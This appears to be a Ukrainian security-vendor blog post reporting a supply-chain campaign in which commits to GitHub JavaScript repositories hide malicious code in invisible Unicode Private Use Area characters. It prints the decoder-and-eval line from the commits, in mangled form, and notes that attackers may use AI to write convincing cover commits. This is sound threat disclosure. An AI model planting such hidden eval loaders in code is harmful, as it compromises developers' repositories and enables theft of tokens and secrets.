Користувача GitHub скомпрометовано невидимим шкідливим програмним забезпеченням

Не так давно ми виявили скомпрометовані розширення на Open VSX. Зараз з’являється нова хвиля атак, і всі ознаки вказують на того самого суб’єкта загрози.

Техніка звучатиме знайомо: прихований шкідливий код, доданий невидимими символами Unicode Private Use Area (PUA). Ми вперше побачили цей трюк ще в березні, коли пакети npm використовували PUA для приховування корисних навантажень. Потім з’явився Open VSX. Тепер зловмисники, схоже, звернули увагу на GitHub, і їхні методи розвиваються. Доставка стає розумнішою, прихованою та набагато оманливішою.

Хронологія кампанії Invisible Code

  • березень – Aikido вперше виявляє шкідливі пакети npm, які приховують корисні дані за допомогою символів Unicode PUA
  • травня – Ми публікуємо блог, у якому докладно розповідаємо про ризики невидимого Unicode та про те, як ним можна зловживати під час атак на ланцюги поставок.
  • 17 жовтня – Ми виявляємо скомпрометовані розширення на Open VSX за допомогою тієї самої техніки;
  • 18 жовтня – Koi Security аналізує зловмисне програмне забезпечення та корисне навантаження, називаючи їх Скляний черв'як
  • 31 жовтня – Ми виявили, що зловмисники перемістили фокус на сховища GitHub

Стелс за дизайном

Ми вперше повідомили про цю нову хвилю, коли розробник звернувся до нас, помітивши щось дивне: кілька його власних репозиторіїв GitHub були оновлені ним, принаймні згідно з історією комітів. Коміти виглядали законними. Вони містили реалістичні оновлення функцій, невеликі рефактори та навіть виправлення помилок, які відповідали стилю кодування проекту та повідомленням комітів. За винятком однієї відмінності, електронна адреса комітера була встановлена ​​на null. Але в кінці цих комітів кожне з них мало єдине ідентичне доповнення:

const d=s=>[...s].map(c=>(c=c.codePointAt(0),c>=0xFE00&&c=0xE0100&&cb!==null);eval(Buffer.from(d(``)).toString('utf-8'));

Чи можете ви помітити зловмисне програмне забезпечення? На перший погляд важко зрозуміти, що відбувається, але те, що стирчить, це те eval виклик, який часто використовується для динамічного виконання коду. Тільки вхід до eval виглядає порожнім. Однак порожній рядок перейшов до d() в eval зовсім не порожній. Він містить невидимі символи Unicode, прихований код, закодований за допомогою символів Private Use Area, як і в попередніх інцидентах npm і Open VSX.

korystuvacha github skomprometovano nevydymym shkidlyvym programnym zabezpechennyam Користувача GitHub скомпрометовано невидимим шкідливим програмним забезпеченням

Цього разу, однак, доставка набагато тонша. Все було згорнуто в одну лінію, майже не залишивши візуальної підказки. Шкідливий код заховано всередині того, що виглядає як звичайна діяльність проекту, прихованого в законних комітах.

Цілком можливо, що доброякісні на вигляд зміни були створені ШІ, щоб зробити коміти більш переконливими. Оскільки ці коміти стосувалися конкретного проекту, можна припустити, що зловмисник міг використовувати великі мовні моделі для створення реалістичних контекстно-залежних змін коду, ефективно використовуючи штучний інтелект для маскування свого корисного навантаження в рамках звичайної діяльності розробки.

Розшифровані символи PUA призводять до сценарію, який виглядає дуже схожим на зразки Open VSX, що свідчить про те, що ми, ймовірно, маємо справу з тим самим загрозою. Схоже, що декодований сценарій використовує Solana як канал доставки, отримує та виконує корисне навантаження з блокчейну. Виходячи з інцидентів Open VSX, ці корисні навантаження здатні викрадати токени та інші секрети. Якщо облікові дані або токени CI зібрано, їх можна буде повторно використати для передачі того самого корисного навантаження в інші сховища, що, у свою чергу, може забезпечити розповсюдження, схоже на черв’яка, як ми бачили під час попередніх атак.

Ознаки більшої атаки

Визначивши зловмисний шаблон, ми почали шукати, чи не з’явилося таке ж корисне навантаження деінде. Швидкий пошук шаблону на GitHub швидко виявив інші сховища, які показують той самий підозрілий рядок.

1761935492 94 korystuvacha github skomprometovano nevydymym shkidlyvym programnym zabezpechennyam Користувача GitHub скомпрометовано невидимим шкідливим програмним забезпеченням

У цих проектах було створено новий комміт, який на перший погляд виглядав цілком законним. Коміти містили звичайні зміни, такі як оновлення документації, збільшення версії та невеликі покращення коду, але кожне з них також включало те саме приховане корисне навантаження, додане в кінці файлу.

Наразі ця кампанія, схоже, обмежена проектами JavaScript, розміщеними на GitHub. Ми не помітили жодних ознак подібного зламу в npm чи інших екосистемах, хоча ми уважно стежимо за цим, оскільки той самий зловмисник може спробувати розширити свій охоплення.

Еволюція загроз, розумніший захист

Ці інциденти підкреслюють необхідність кращої обізнаності про неправильне використання Unicode, особливо про небезпеку невидимих ​​символів приватної зони використання. Розробники можуть захищатися лише від того, що вони бачать, і зараз більшість інструментів не показують їм достатньо. Ні веб-інтерфейс GitHub, ні код VS не відображали жодних ознак того, що щось не так. У попередніх випадках, таких як атаки Open VSX, деякі IDE справді відображали непомітні індикатори поруч із прихованими символами, але тут ці засоби захисту були відсутні.

Хоча ця техніка не є новою, вона явно розвивається. Попередні загрози, такі як Shai Hulud, просто впроваджували шкідливі сценарії після інсталяції, завдяки чому їх було відносно легко виявити. Тепер зловмисники поєднують шкідливий код із реалістичними комітами та вдосконаленнями для конкретного проекту, можливо, за допомогою ШІ, щоб їхні зміни виглядали природними. Це ознака того, куди прямує ландшафт загроз.

В Айкідо ми адаптуємося до тієї самої еволюції. Ми використовуємо великі мовні моделі серед інших систем виявлення, щоб виявити ці дедалі непомітніші загрози. Оскільки зловмисники використовують штучний інтелект, щоб приховати свої наміри, наш захист має стати настільки ж розумним, щоб розкрити його.